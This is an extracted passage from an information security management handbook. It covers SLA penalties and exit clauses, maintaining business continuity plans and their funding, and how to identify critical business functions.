example of the computations involved, assume a service provider you are considering offers a 125-msec network delay guarantee. Also assume that your organization plans to transmit digitized
427
Understanding Service Level Agreements
TABLE 34.1 Potential Packet Delivery Credit Credit to Customer
Packet Delivery Rate (%)
No credit 4 hours 8 hours 24 hours
≥99.9 99.8–99.9 99.7–99.8 <99.7
voice over the service provider’s network, with each digitized packet 128 bytes in length. If the access line operates at 256 Kbps, then the delay associated with transmitting the packet through the access line becomes: 128 bytes ∗ 8 bits byte = 4 msec 256,000 bits / sec If we further assume that the network egress access line operates at 256 Kbps, then that line contributes an additional 4 msec of delay, resulting in the total access line delay being 8 msec. Thus, you would then add 8 msec to the network delay of 125 msec, resulting in a total delay of 133 msec, which would then be compared to the constraints associated with the real-time application you expect to operate over the network. Now that we have an appreciation for the key metrics used in SLAs, we will conclude our examination of SLAs by turning our attention to penalties typically incorporated into SLAs and how a penalty cap needs to be carefully examined.
Penalties and Penalty Caps Failure to comply with one or more metrics guaranteed within an SLA results in a penalty assigned to the service provider. Although penalties can vary between service provider SLAs, most penalties result in a cash credit to the customer. Penalties are usually structured on a tiered basis, increasing in tandem with a deterioration in the level of service provided. For example, an SLA might guarantee a packet delivery rate of 99.9 percent. If the delivery rate falls below that level for any 24-hour period, the customer might be provided with a credit similar to the example listed in Table 34.1. Note that the credit to the customer is commonly expressed in terms of credit hours, which is used to reduce the monthly bill. That is, if the customer was billed $2000 per month, a 24-hour credit would be converted to $2000 per month/ 30 days/month, or $66.66, thus reducing the monthly bill by that amount. While it may appear reasonable to receive a full day’s credit when the packet delivery rate falls below 99.7 percent, what happens when the delivery rate remains below that level for an extended period of time? Unfortunately for the customer, all service providers place a cap on the maximum amount of credit that can be applied to any monthly bill. Thus, customers that experience unacceptable levels of packet delivery for a prolonged period of time might be limited to a credit of two or three days’ worth of service on their monthly bills. Obviously, an organization would prefer a high level of service in comparison to receiving a credit for a few days of service when the level of service is not acceptable over a prolonged period of time. While most service providers will not remove credit caps, some will allow a contract exit clause, which should be considered when negotiating a contract. Under an exit clause, the customer is able to terminate a long-term contract without penalty if the level of performance of one or more SLA metrics continues at an unacceptable level for a prolonged period of time. By insisting on the inclusion of an exit clause in the contract negotiated with a service provider, not only dies this place pressure on the service provider to rapidly correct problems but, in addition, it also permits an organization to change service providers without being locked into a long-term contract where performance degrades and penalties do not rectify the situation.
428
Information Security Management Handbook
Recommended Course of Action Service level agreements can be quite valuable as they specify the level of network performance an organization is expected to receive and penalties when performance does not reach stated levels. Like any binding contract, it is important to consider all aspects of the SLA to include how metrics are measured, credits issued by the service provider, and the cap on monthly credits. In addition, an exit clause should be written into the contract to allow an organization to consider another vendor if an undesirable level of performance is the rule rather than the exception. By carefully examining SLAs, one can select a service provider that will best meet the requirements of the organization.
Domain 8 Business Continuity Planning and Disaster Recovery Planning
430
Information Security Management Handbook
This domain addresses actions to preserve the business in the face of a disruption to normal business operations, including both natural and man-made events. Information systems and processing continuity are subject to many threats. Organizations must continually plan for potential business disruption, and test the recovery plans for their systems and business processes. Moreover, these organizations must continue to reengineer the continuity planning process, given the challenges of evolving technologies, including distributing computing and the Internet. Measures taken to ensure business continuity and disaster recovery have always been a challenge in the information technology environment. Increasingly, however, organizations are understanding that continuity of people and process are even more important.
Access Control Systems and Methodology
431
Contents Section 8.1
Business Continuity Planning
35 Building Maintenance Processes for Business Continuity Plans............................................. 433 Ken Doughty 36 Identifying Critical Business Functions .................................................................................... 445 Bonnie A. Goins 37 Selecting the Right Business Continuity Strategy .................................................................... 451 Ken Doughty
Section 8.2
Disaster Recovery Planning
38 Contingency at a Glance ............................................................................................................ 457 Ken M. Shaurette and Thomas J. Schleppenbach 39 The Business Impact Assessment Process and the Importance of Using Business Process Mapping ............................................................... 465 Carl Jackson 40 How To Test Business Continuity and Disaster Recovery Plans and How Often ................. 483 James S. Mitts
This page intentionally left blank
35 Building Maintenance Processes for Business Continuity Plans Ken Doughty
Introduction Management has a fiduciary duty to maintain and continue to support and fund the organization’s risk management program — including business continuity. In the event of a disaster, the likelihood of a cost-effective recovery in a timely manner is compromised unless there has been continual executive management support for maintaining the plan in a state of readiness. Business continuity/disaster recovery surveys in the United States have revealed that: • 92 percent of Internet businesses are not prepared for a computer system disaster (IBM Survey of 226 Business Recovery Corporate Managers). • 82 percent of companies are not prepared to handle a computer system disaster (Comdisco 1997 Vulnerability Index Research Report). These survey results indicate that a large number of executive management have failed to recognize that they had not adequately prepared their organizations for a disaster event. Too often, maintenance of the business continuity plan (BCP) is an afterthought rather than an integral part of the risk management program. Management fails to recognize the need to build and fund the processes that will ensure that the BCP remains in a state of readiness. The two issues that need to be addressed by management are: • Processes for maintaining business continuity plans • Resource funding/expenditures for business continuity
Processes for Maintaining the BCP Business continuity plans are often reviewed only on an annual basis. This cyclical basis, while having merit, may place the organization in a position where its plan may be out-of-date because it has not been updated in response to changes in critical business processes. This will require the business continuity recovery team to make decisions on-the-fly, which increases the level of risk and hence jeopardizes recovery. The Disaster Recovery Journal regularly conducts “straw” surveys of visitors to its Web site (www.drj.com), asking them to vote on various questions. While the results of the survey are somewhat subjective, they do have some value as indicators of trends.
433
434
Information Security Management Handbook
How often are your business continuity plans reviewed? More than two years 12.96%
Every two years 3.70%
Every year 83.33%
FIGURE 35.1 Frequency of the review of business continuity plans.
A survey conducted between June 14 and 20, 1999, asked the question: How often are your business continuity plans reviewed? The total number of respondents to the question was 1728. The results of the survey are shown in Figure 35.1. This is a good indication that organizations still have a strong tendency to use static processes (i.e., cyclical) to review their business continuity plans rather than build processes to ensure maintenance of up-to-date plans as changes occur.
Static and Dynamic Maintenance Reviews Static Reviews A static review is a cyclical maintenance process whereby the business continuity plan at a predetermined point in time is reviewed. An annual review is a typical example of a static review regime. Dynamic Reviews
Dynamic maintenance review occurs when a strategic change occurs — for example, organizational restructure or integration of a new business. Table 35.1 compares the frequency of the static and dynamic review processes for a BCP. It is critical that review processes be established and continually maintained to ensure that the BCP is in a state of readiness, rather than rely on static reviews to identify that the plan is not up to date. Ideally, a combination of three processes will ensure that the plan remains up to date: • Maintenance • Static reviews • Dynamic reviews An understanding of the dynamics of the organization’s operational processes is required to be able to identify the potential points of change. There are a number of key areas in which a change can occur. A maintenance process must be implemented to ensure detection of changes in any of the key areas.
Communications The objective of maintaining the plan in a state of readiness is to provide assurance to the organization that, in the event of a disaster, critical business processes can be recovered in a timely manner. Without effective lines of communication between executive management and the business continuity manager, there is every likelihood that the plan will fail in the event of an actual disaster. The business continuity manager should have sufficient authority to ensure that he or she is informed of any changes arising from the implementation of management decisions (e.g., reorganization of management structure). This authority should be included in the organizational business continuity policy and regularly communicated throughout the organization. The corporate executive charged with the overall responsibility for business
435
Building Maintenance Processes for Business Continuity Plans
TABLE 35.1 Business Continuity Plan Review Schedule Static Review Cycle (Months) Business Continuity Plan Component
3
6
12
Dynamic Review Events
Chapter 1. Introduction/Overview Chapter 2. Maintenance and Testing
Strategic changes Strategic and/or organizational changes, business process changes, information technology, service level agreements Strategic and organizational changes, information technology Strategic changes and business process changes Organizational and structural changes (e.g., buildings)
X
Contact Listing
X
Resource Listings Building Facilities Information Technology Personnel Third-Party Service Providers
X X X X
Strategic and organizational changes, business process changes Changes in personnel, emergency services, third-party service providers Organizational and structural changes; contractors, etc. Software modifications and implementation; hardware changes, network changes; service level agreements Personnel changes or organizational changes Renewal of contracts, service level agreements
continuity (e.g., corporate governance, risk management) needs to be part of executive management and therefore part of the decision-making team. This ensures that organizational plans and decisions that may have a business continuity impact are communicated (the timing depends on the sensitivity of the information) to the business continuity manager. It also provides a safety net if the regular line of communication fails to inform the business continuity manager of proposed changes in operations that may have an impact on BCPs. Therefore, it is important that the line of communication is formalized and maintained to ensure that the flow of information that may have an impact on the organization’s BCPs is received on a timely basis.
Corporate Planning Many organizations today undertake the development of a corporate plan that provides a roadmap for the organization in the achievement of its strategic objectives. The corporate plan broadly details the organization’s mission statement, strategic objectives, and strategies for a defined period (generally two to five years) with key performance indicators (KPIs) to measure their success or failure. As part of this planning process, the organization’s business units develop business plans to support the organization in the achievement of its goals and objectives. It is essential that processes be built and implemented that identify changes that may occur from the implementation of a new corporate plan, such as change in strategic direction by the organization may have an impact on the existing strategies of the BCPs (see Figure 35.2). Any change detailed in the new corporate plan needs to be analyzed to determine if these changes will have an impact on the existing plans or increase the level of risks associated with these plans. Impact Analysis
An impact analysis is to be performed to identify and quantify the impact of the implementation of corporate strategies detailed in the corporate plan on the existing business continuity strategies. This is essential because the business continuity strategies are the bases upon which the business continuity plan was built. The analysis should include an examination of the planned implementation and timing of the new corporate plan. A risk analysis methodology (e.g., Australian Standard AS4360: Risk Management)
436
Information Security Management Handbook
Corporate Objectives
Corporate Strategies
Corporate Business Continuity Plan
Corporate Action Plan
Business Unit Plans
Business Unit Strategies
Business Unit Business Continuity Plan
FIGURE 35.2 Corporate planning and business continuity planning.
should to be utilized to ensure a consistent approach in performing the impact analysis. The organization’s risk management department or insurers should be able to provide a methodology to assist in performing the impact analysis. Strategic changes emanating from the corporate plan that can be identified by performing an impact analysis include: • • • • •
Development of new products or offering of new services to customers Expansion of products or services delivery channels Relocation of the organization or business units to another city or state Vertical or horizontal (or a combination) integration through strategic acquisitions Changes in the IT environment (i.e., hardware/software platforms, outsourcing of part or whole of its IT operations, changing the data/invoice communications network topology)
The organizational unit responsible for maintaining the BCPs is to perform an impact analysis by reviewing the corporate plan and business unit plans on a regular basis. The analysis must identify and assess the business continuity risks associated with the implementation of these strategic objectives — in particular, identification of any new risks that may not have been previously identified or previously considered in the development of the existing BCP. It may also require a re-rating of the existing risks applicable to the existing BCPs. The outcome of this impact analysis is a report to the organization’s executive management that provides an assessment of the impact the new corporate plan will have on the organization’s business continuity plans. The report is to include an overall assessment of the risk and exposure with recommendations of how to mitigate these risks by changes to the BCPs to ensure that they will support the organization’s strategic objectives.
Operational Impacts One of the major threats to maintaining the organization’s state of readiness is operational changes. Operational changes are those changes that occur outside the corporate planning process (referred to above). These changes can be structural in nature —that is, organizational, vertical, or horizontal. Such changes may occur due to: • Reaction to changes in market dynamics (e.g., cost cutting, business process reengineering) • Development or implementation of new lines of business • Competitive acquisition
Building Maintenance Processes for Business Continuity Plans
437
• Disposal of non-core business • Recent developments in information technology (e.g., E-commerce) • Outsourcing of services (e.g., information technology) It is essential that an organization’s ability to recover from a disaster not be compromised by the failure of business units to communicate operational changes. To ensure that this does not occur, the organizational policy for BCP must state the requirement that all changes that have a potential impact on the organization’s BCPs must be communicated to the organizational unit that has responsibility for business continuity. To support the policy, there must be processes that trigger the strategic maintenance review of business continuity as a result of changes. An example of such a process is the requirement that every project have business continuity as a project task item regardless of the type of project (e.g., construction, engineering, logistics, information technology restacking of buildings). This ensures that each project addresses business continuity during the planning process rather than as an afterthought. From the planning process, the business unit that has responsibility for business continuity should: • Analyze the project deliverables in terms of the planned changes (e.g., relocation of NT servers and supporting infrastructure). • Evaluate the impact on the current BCPs, where applicable (e.g., the criticality of the applications installed on the servers). • Determine the low-risk and low-cost business continuity strategies (where appropriate) and procedures to be included as a project deliverable. (As an example, there may have been no previous requirement for business continuity because the applications were considered not to be critical to the day-to-day operations of the organization; however, due to a relocation of servers to a centralized data center, an analysis of the applications may have indicated that applications had critically changed due to changes in business operations. Therefore, a hot-site business continuity strategy has been determined in consultation with the applications owners.) • Obtain management approval and funding for the implementation of the amended or new business continuity strategies and procedures. • Develop an implementation plan (including training and testing) for the amended or new strategies and procedures. • Implement the new strategies, and document the business continuity plan based on the strategy implemented. • Identify and implement any applicable dynamic review points for the BCP to ensure that it remains in a state of readiness.
Physical Infrastructure Changes to the organization’s physical infrastructure, such as buildings and information technology, are often not considered as part of the maintenance process for business continuity plans. It is considered that changes or maintenance to the physical infrastructure do in fact have a major impact on the level of risk that had previously been assessed in the development of the organization’s business continuity plans. Therefore, to minimize the likelihood of a disaster occurring, maintenance processes to identify potential risks are essential. Internal Environment Any proposed physical infrastructure changes must be communicated to ensure that potential risks to the existing BCPs can be assessed. For example, proposed changes to the layout of a floor (e.g., cabling, workstation setup, voice communications) due to restacking of the building to increase the floor occupancy density rate may have an impact on the strategy of an existing BCP. The floor in question may have been designated as the area for another business unit to occupy during a disaster event. The necessary infrastructure for successful execution of the BCP had been previously established. By implementing the
438
Information Security Management Handbook
restacking requirements, however, the business unit’s business continuity strategy has now been compromised. The risk is that, in the event of a disaster, the business unit may not be able to gain access to its critical applications, access its voice communication, or call diversion setup arrangements — thereby either delaying or failing to recover in the event of a disaster. Any proposed physical infrastructure changes must be communicated via processes previously detailed in the section entitled “Operational Impacts.” Maintenance of the physical infrastructure environment is critical to minimize the likelihood of a disaster. Maintenance should include: • • • • • •
Air-conditioning systems Fire detection and prevention systems Security systems Electrical systems (including lightning rods) Water systems Information technology (including voice and data communications)
Although considered by many to be outside the control of the business unit responsible for the organization’s BCPs, a strong maintenance regime is essential to minimize the likelihood and recovery of a disaster event. External Environment Changes to the external physical environment may introduce a risk that was not previously applicable. For example, the flood rating of a region where an organization has a manufacturing plant had been assessed by the local authorities as 1:200 years; however, an upgrade of major highway near the manufacturing plant had caused the diversion of water to be channeled into local creeks. As a direct result, the flood rating was reassessed by local authorities and upgraded to 1:50 years. Without having maintenance processes in place (i.e., the local authorities advising of the change in flood rating), this would not have been detected by the business continuity manager. To minimize the impact of possible flooding, the organization constructed a levy with local flora (the local authorities called it a gardening mound) surrounding the manufacturing plant to a height of 1 meter. Approximately 18 months later, a flood occurred. Without construction of the levy, the manufacturing plant would have been severely flooded, causing over $10M in damage.
Information Technology For many organizations, information technology is the primary driver of their business. Therefore, a BCP for information technology — often referred to as a disaster recovery plan — is critical to ensure that the business can survive in the event of a disaster and continue to deliver products and services. Information technology BCPs are dependent on maintenance processes being developed and implemented as part of the system development life cycle (SDLC). Modern SDLC methodologies, and best practices for information technology (e.g., IT Infrastructure Library) include business continuity or disaster recovery as a task item to be addressed as part of the development, enhancement, maintenance, and acquisition phases of a system. To provide assurance that business continuity has been addressed as part of the SDLC processes, the business unit responsible for business continuity must sign-off all SDLC projects. This means that the project or task scoping document and engagement plan must be forwarded to the business continuity manager. The business continuity manager needs to determine if there is a business continuity issue for the project or task being planned. Example • Business continuity deliverable — An NT server with an HP Optical Storage Unit (often referred to as a Jukebox) with 64 CD platters within 24 hours of a disaster declaration with full connectivity to the organization’s WAN–ATM network.
Building Maintenance Processes for Business Continuity Plans
439
• Change requirement — Due to continued growth in the business, the imaging capacity of the Jukebox has increased to a level where within six months there is insufficient capacity to meet production requirements. • Solution — Upgrade the Jukebox from 2.6-Gbyte drives to 5.2-Gbyte drives and increase the number of CD platters from 64 to 128. • Risk — In the event of a disaster, there will be insufficient capacity to meet production requirements. The current business continuity capability meets only the current production requirements. Without having the business continuity maintenance processes included in the SDLC, recovery and delivery of mission-critical information technology services and products may be in doubt.
Third-Party Service Providers Today, outsourcing is popular because organizations recognize that information technology is not one of their core competencies. One reason for outsourcing is that organization’s think they lack adequate infrastructure or resources and skills to develop BCPs for the delivery of information technology services and products. The belief that an organization can transfer the risk for business continuity as part of the outsourcing arrangement is wrong. The organization still owns the risk! In the event of a disaster, if the outsourcer fails to provide adequate business continuity, the contractual dispute will not help the organization recover; in fact, the organization may go out of business while waiting to resolve the contractual dispute through litigation. Business continuity requirements, including maintenance processes, must be included as part of the outsourcing contract. Periodically, the (information technology) outsourcer’s business continuity maintenance processes must be audited to provide assurance that the organization’s recovery from a disaster is not compromised.
Resource Funding/Expenditure for Business Continuity Executive management’s commitment and support for BCP extends beyond issuing a policy on BCP and funding its initial development. Management commitment and support must encompass development of the infrastructure for the implementation of the policy and ongoing maintenance of the plan, as well as the ongoing provision of critical resources (financial and human). Investing in BCP is a difficult decision for any organization. The questions to be answered are: • Who should fund BCP? • How much should be invested? The three major ways to fund BCP for an organization are: • Corporate funding • Business unit funding • Information technology funding
Corporate Funding For many organizations, the funding decision is very simple. Because business continuity is viewed as an organizational responsibility and is part of the cost of being in business, funding is provided at the corporate level. The benefit of this strategy is that business continuity will have a strong and continuous commitment from executive management. Further, the organization’s executive management has carried out its fiduciary duties and in the event of a disaster would be protected from any legal action.
Business Unit Funding Many organizations view business continuity funding as a business unit expense and therefore each business unit must fund the cost of its business continuity. The disadvantage of this strategy is that the business unit managers, who are often under pressure to control costs, will often target business continuity
440
Information Security Management Handbook
How are continuity costs funded?
Other 14.29% IT Department 31.87% Business Unit 25.27% Corporate 28.57%
FIGURE 35.3 Continuity cost funding.
as a candidate for cost-cutting. In particular, business continuity is often eliminated because it is seen as an easy target. Such a decision, which in the short term may be cost effective, can expose the organization’s management to criticism from third parties (e.g., shareholders, external auditor) and, in the event of a disaster, may expose executive management to legal action for failing to perform its fiduciary duties.
Information Technology Funding A number of organizations view business continuity as an information technology (IT) issue, rather than a corporate or business unit issue; therefore, funding is provided through the IT department budget. The advantage of this approach is that IT departments historically have a good understanding of the need to have a BCP. The disadvantage of this approach is that it focuses only on the IT dependency of the organization and not other critical business processes and dependencies other than IT. The Disaster Recovery Journal survey conducted between October 11 and 17, 1999, posed the question: “How are contingency costs funded?” The total number of respondents to the question was 1547, and the results of the survey are shown in Figure 35.3. Survey results indicate that the major source of funding is still with the IT department. Organizations have realized that it is no longer an IT issue; therefore, one is starting to see funding being evenly distributed between both the corporate and business units.
BCP Investment Determining how much the organization should invest in business continuity is difficult; however, one of the outcomes of a business impact assessment (see Table 35.2) provides the organization with an indication of the financial impact if a disaster did strike the organization. Therefore, the organization needs to determine how much it is prepared to spend to minimize this financial impact. In other words, how much insurance will it take out? Management has asked the question, “How much are other organizations spending on business continuity?” To answer this question, one needs to benchmark how much other organizations are spending; however, there are many variables in measuring the expenditure, for example: • • • • • • •
Industry Size of organization Total revenue Number of employees Number of organizational divisions, business units, departments, sections Location Range and distribution of products and services
Building Maintenance Processes for Business Continuity Plans
441
TABLE 35.1 Business Impact Assessment Identify the impacts resulting from disruptions and disaster scenarios that can affect the organization and techniques that can be used to quantify and qualify such impacts. Establish critical functions, their recovery priorities, and interdependencies so that recovery time objectives can be set. The professional’s role is to: 1. Identify organization functions. 2. Identify knowledgeable and credible functional area representatives. 3. Identify and define criticality criteria. 4. Present criteria to management for approval. 5. Coordinate analysis. 6. Identify interdependencies. 7. Define recovery objectives and time frames, including recovery times, expected losses, and priorities. 8. Identify information requirements. 9. Identify resource requirements. 10. Define report format. 11. Prepare and present. Source: Disaster Recovery Institute International’s Professional Practices, www.dr.org.
Research conducted by the Gartner Group (Determinants of Business Continuity Expenditure — Research Note March 21, 1996) found that, “On average, data centers spend around 2 percent of their budget on disaster recovery.” Gartner further stated that the move away from centralized processing has meant “that the proportion of total IT expenditure dedicated to recovery-related matters is already below the reported average.” This suggests that organizations have not recognized that there are still risks in a decentralized (client–server) versus centralized processing (i.e., mainframe) environment. This is of particular relevance because many organizations today conduct a large portion of their business through E-commerce. More recently, the Disaster Recovery Journal conducted a number of surveys regarding the expenditure of business continuity/disaster recovery: What percent of your company’s total revenue is spent on BC/DR? This survey was conducted between June 28 and July 4, 1999. The total number of respondents to this question was 2091. The results of that survey are displayed in Figure 35.4.
What is the total revenue of your company spent on business continuity/disaster recovery?
Less than 1/2%
More than 5% 2% to 5% 1% to 2% 1/2% to 1%
FIGURE 35.4 Total revenue spent on business continuity/disaster recovery.
442
Information Security Management Handbook
What percentage of the total IT budget is spent on business continuity/disaster recovery?
Less than 1%
More than 9% 6% to 9%
3% to 6%
1% to 3%
FIGURE 35.5 IT budget spent on business continuity/disaster recovery. What is your annual disaster recovery/ business continuity budget in dollars?
Less than $100,000 44.39%
More than $1 million 13.37% $500,000 to $1 million 8.56%
What percent of your company’s total IT budget is spent on BC/DR? This survey was conducted between July 5 and July 11, 1999. The total number of respondents to this question was 1501. The results of that survey are shown in Figure 35.5. What is your annual BC/DR budget in dollars? This survey was conducted between September 6 and September 19, 1999. The total number of respondents to this question was 3179. The results of that survey are displayed in Figure 35.6. The results of the surveys indicate that there has been no major increase in expenditures by organizations on business continuity. This result is surprising when one considers that in the last few years organizations have dramatically changed the way they conduct business, in particular EDI and E-commerce. The surveys also indicate that funding for business continuity is slowly moving away from the historical champion of business continuity, the IT department. Responsibility is now being shared equally among the corporate and business process owners.
Building Maintenance Processes for Business Continuity Plans
443
Conclusion Executive management must recognize that the maintenance of business continuity plans is an integral part of the organization’s risk management program. Further, they should ensure that the business continuity maintenance processes are built into the change management process of the organization (e.g., system development, building maintenance programs, corporate planning). This will ensure that appropriate action is taken in a timely manner to maintain the plan in a state of readiness. Management will only recognize its investment in business continuity in the event of a disaster.
This page intentionally left blank
36 Identifying Critical Business Functions Bonnie A. Goins
Introduction Important to the proper implementation of a security strategy within an organization is its alignment to that organization’s business objectives. Performing security activities for technology’s sake does nothing to protect, or assure, those components that fall outside the purview of technical security. At a high level, people, processes, facilities, and, arguably, data typically fall outside of technical security inspection. It is clear that security, as a process itself, must consider these inputs in order to provide a comprehensive view of protection for the organization. Equally important to achieving a balanced security program is the understanding that an organization will not protect all of its assets equally; that is, aspects of the organization necessary to the continued fulfillment of the organization’s business goals must take precedence over those activities or inputs that are not essential to the organization’s survival. This notion is crucial to the concept of controls within the organization; resources used to protect the environment should first be allocated to those aspects of the organization that are essential for the continued operation of the business. The organization may also decide to protect aspects of its organization that are not critical to continued operation; however, it is customary for organizations to allocate fewer resources to accomplish this objective. This scenario concurs with the industry view that critical assets and functions require greater protection than noncritical assets and functions.
What Is a Critical Function? The Disaster Recovery Journal formally identifies critical functions as “business activities or information that could not be interrupted or unavailable for several business days without significantly jeopardizing operation of the organization.” Before an organization can begin to identify business functions that are essential to its survival, it must understand the difference between criticality and sensitivity. Criticality relates to the importance of the asset or function in enabling the organization to operate and protect itself, and sensitivity relates to the classification of the data and systems existing within the organization. Let’s look at an example of each of these definitions. The National Security Agency’s INFOSEC Assessment Methodology (NSA IAM) takes as one of its principle tenets the concept of criticality; it does so for the very reason mentioned above. Assessment of the organization’s security state revolves around its definition of criticality. Senior executives are asked to identify one to ten activities that, if not performed, would cause the organization to cease to operate its core business. Many senior executives struggle with this preassessment identification because they often cannot immediately separate essential from nonessential business functions.
445
446
Information Security Management Handbook
The concept of sensitivity is central to many regulated environments. Organizations bound by legislation, such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA), are guided to review their electronic data assets to determine whether those data are identified by the legislation as being central to meeting compliance objectives. In the case of HIPAA, electronic protected health information (ePHI) is identified as a sensitive data element that requires the highest level of protection. Organizations covered by this legislation (covered entities, or CEs) face stiff fines, sanctions, potential lawsuits, and even jail time for maliciously divulging this information or for failing to promote duly diligent (reasonable and appropriate) security measures within the organization. A reader who has considered these examples carefully might be asking whether it is possible to have a business function that could be considered both critical and sensitive. If so, congratulations! Business functions that are essential to the organization’s continued operations and those that process, transmit, or store sensitive data are considered to be critical and sensitive business functions. An example of a critical and sensitive business function is a healthcare insurer’s claim processing function. Processing claims is central to a healthcare insurer’s business function; as such, the claims function is critical to the organization’s continued operation. Further, because a healthcare insurer is a payer, it is obliged to meet the compliance objectives contained in the HIPAA legislation; hence, the data it processes, stores, and transmits during the claims function is considered sensitive, making the function itself sensitive.
Where Do I Begin To Identify Critical Business Functions? A good place to begin identification of critical business functions is within the organization’s business units. One caveat is that each business unit is likely to view its business functions as being most critical to the organization. This is contrary to the fact that senior executives determine the criticality of business functions within their organizations. As such, it is important for senior executives to review and “rightsize” business unit expectations regarding the priority of their critical functions so they fit properly within the context of the entire organization. Working with business units can sometimes be a challenge for the security professional. Business units may be unfamiliar with the task at hand and, as such, require some coaching in order to complete the effort. Also difficult for most organizations is determination of the appropriate level of detail for describing each critical business function. Many times it is easier for the business units to identify each of their business functions, regardless of criticality, and then to prioritize the functions based on criteria that align them with their importance to the organization. In choosing this approach, the organization has produced a complete picture of its function that can be visually depicted through data flows and other graphical methods to produce a roadmap that shows the organization its workflow. This roadmap can also help to identify functions that are missing procedures, as well as procedures that are missing functions. In each case, the organization should then determine whether these functions or procedures are extraneous to the organization’s operation. If so, they can be removed; if not, then an issue with the process exists, and the organization can now evaluate that issue. This identification and activity are at the center of the business process reengineering effort for organizations. If interviewing the business units is the approach chosen to begin the critical function identification, the security professional can ask the business units particular questions that will help them to reach the appropriate determination of criticality to the organization. Examples of these questions are listed in Table 36.1. Following is a discussion of the role of each question within the identification process. How can these questions assist with identifying critical functions within the organization? By asking the business units how their functions align to the organization’s business goals, it is possible to classify any outliers (i.e., those functions that are performed in support of a function that is not critical to the organization’s continued operations or are not critical to the continuing operation of the organization themselves) as noncritical business functions. These functions can still be prioritized but will not fall into the critical category. Periodicity, or the frequency at which the function is performed, can also assist in determining whether a business function plays a role in continuing an organization’s business operations. It is important to
Identifying Critical Business Functions
447
TABLE 36.1 Questions To Assist in Determining the Criticality of Business Functions What business objective does this function support for your organization? How often is this function performed? Is this function performed only by your business unit, or is it also performed by other business units within your organization? Does the successful completion of this function depend on interaction with other business units, vendors, business partners, or external organizations? Does another business unit, vendor, business partner, or external organization depend on this function for successful completion of its functions? Is there a potential for loss of life or injury to personnel, business associates, or externals if this function is not carried out? Is there a potential for significant dollar loss to the organization if this function is not carried out? Is there a potential for significant fines, litigation, jail terms, or other punishment for noncompliance to a required regulatory requirement? Is noncompliance tied to a specific threshold for downtime for this function? Is noncompliance tied to a specific threshold for data loss or disclosure of sensitive information for this function? Is this function carried out by key personnel within the business unit? Are other personnel within the business unit or organization available and capable of performing the function in the absence of key personnel? What priority would your organization give this function within the entire organization?
note, however, that periodicity by itself does not determine criticality of a business function. As an example, a staff member of a large financial services firm has many job functions that he performs daily. One of these job functions is to remind business unit managers to review the organization’s proposed training classes and to weigh in on the selection. Although it is important to provide training to employees, training is often curtailed as a result of reallocation of resources in the event of a disaster. Doing so does not bring operations to an end but rather frees resources to accomplish other more critical tasks. The function the staff member plays (i.e., notification of the business unit managers) can be discontinued in the event of disaster with no ill effects; therefore, the function may be viewed as being low priority for continued operation of the organization. The notion of interdependence is of extreme importance to an organization and its operational continuity. Business functions that appear to be noncritical may be identified by a business unit as critical; upon further examination, it may become apparent that critical business functions from other business units rely on input from this “noncritical” business function to perform satisfactorily! Taking a look at our previous example again, a staff member identified a business function as notification of business unit managers regarding training. We determined initially that the notification was low priority and related that assessment to the business goal of continuing operations for the organization. Let’s take a deeper look, though. What if the notification involved relaying to the managers information on mandatory training for business continuity? If the business unit managers could not get that information from any other source in the organization, such notification from the staff member is now critical for ensuring that all personnel are trained in business continuity efforts. For most organizations, business continuity training is highly critical, especially in light of the lessons taught to us by September 11; therefore, any function that is key to promoting the business continuity effort may be considered to be critical. Loss potential is another way to uncover criticality in an organization. Losses can typically be categorized as human, financial, informational, technological, or facility oriented. Any business function where the loss of life or an injury to an individual figures prominently if the function cannot be successfully completed must be considered to be critical. An example of such a function is the coordination of logistics in an army on the move. If logistics cannot be properly coordinated, troops can be placed in jeopardy. Financial losses are frequently evaluated when determining criticality. The organization must determine for itself what the definition of “significant financial losses” really is. It is important to note that, many times, financial losses come as a result of an interaction of issues. In this case, this translates to the fact that the business functions involved must be evaluated very carefully to identify which are truly critical, if any, to the organization’s operations.
448
Information Security Management Handbook
Compliance to a regulated state can also pose challenges for identification of critical business functions. Most often, the challenge arises from the fact that legislation is not always prescriptive; that is, legislation is not always specific in detailing what is expected from the covered organization. HIPAA regulations are a good example of this. Implementation specifics are listed, but in an extremely broad context. The reasons cited for these broad strokes include consideration for the uniqueness of each organization and a desire to take into account the availability of resources at each organization. As such, organizations must fend for themselves, often by working together as a group or collaborative to interpret the law; the HIPAA Collaborative of Wisconsin is an example of this type of group. From their interpretation comes a recommendation for the work that is required to meet the legislation. Organizations can choose to follow the recommendations or to implement their own interpretations. Most organizations bound by regulations come to view the regulations themselves as the critical business function and apply the policies and procedures that are derived from the regulation as satisfaction of the legislative requirement. Organizations must also take into account whether a violation of appropriate downtime, data loss, or disclosure of information will trigger a shift into noncompliance. Data gathered during the business impact assessment process can assist with providing a stated threshold within the organization that can then be compared to the stated goals of the legislation. Gaps between the organization’s stated threshold and the stated goals of the legislation point to an area for remediation (i.e., correction) for the organization, if it is to maintain a state of compliance. What is the possibility for an organization to continue operations if its key (read critical) personnel are no longer available to perform their job functions? If no surrogate, or back-up, resources are available who can perform these critical functions in the absence of primary or key personnel, then it is likely that continued operations will be extremely difficult and haphazard, at best. It is extremely important for an organization to identify individuals key to its function. When a business unit manager is asked for his or her key personnel, typically the answer that is given corresponds to the set of activities (or business functions) he or she performs. This assists the security professional in identifying two critical elements in one round of questioning; the business unit’s critical functions and the personnel responsible for carrying them out. Although it is often the case that the business units within an organization view their functions as being of the highest priority to the organization, it is still worth the time to ask the business units where they think their business functions fall with regard to priority within the organization as a whole. In some cases, the request for the business units to look at the bigger picture may yield unexpected results. In the case where an organization’s personnel has longevity and the organization is supportive of promotions, lateral moves to different business units, and job sharing, personnel may indeed have a deeper perspective of how the organization functions as a whole. Because experience brings so much to the table in this endeavor, it is advisable to at least make the effort to inquire.
Functions Versus Procedures As we stated above, ultimately senior executives are responsible for identifying their organization’s critical business functions. Often, these functions are further elaborated in an organization’s business plan and reports to the organization’s board of directors, stockholders, and employees. Some organizations do not document their critical functions as such, but rather identify core competencies. This can be workable if senior executives can identify how those core competencies are broken into functions and are represented by workflow in the organization. If the senior executives are not successful at doing this, then the core competency identification is at too high a level to be productive for this identification of critical business functions within the organization. Many organizations also confuse business functions with functional procedures. It is often useful to view the business functions as the “what,” or a set of procedures which themselves are the “how” with respect to implementing the business function. The combination of these interact to complete a business objective, when combined with appropriate policies. Sometimes, we see that the relationship of a critical function to a procedure is one to one; that is, one procedure can elaborate an entire business function.
449
Identifying Critical Business Functions
Core Business Competencies
Critical Business Functions
Departmental Procedures
Individual Responsibilities
Departmental Procedures
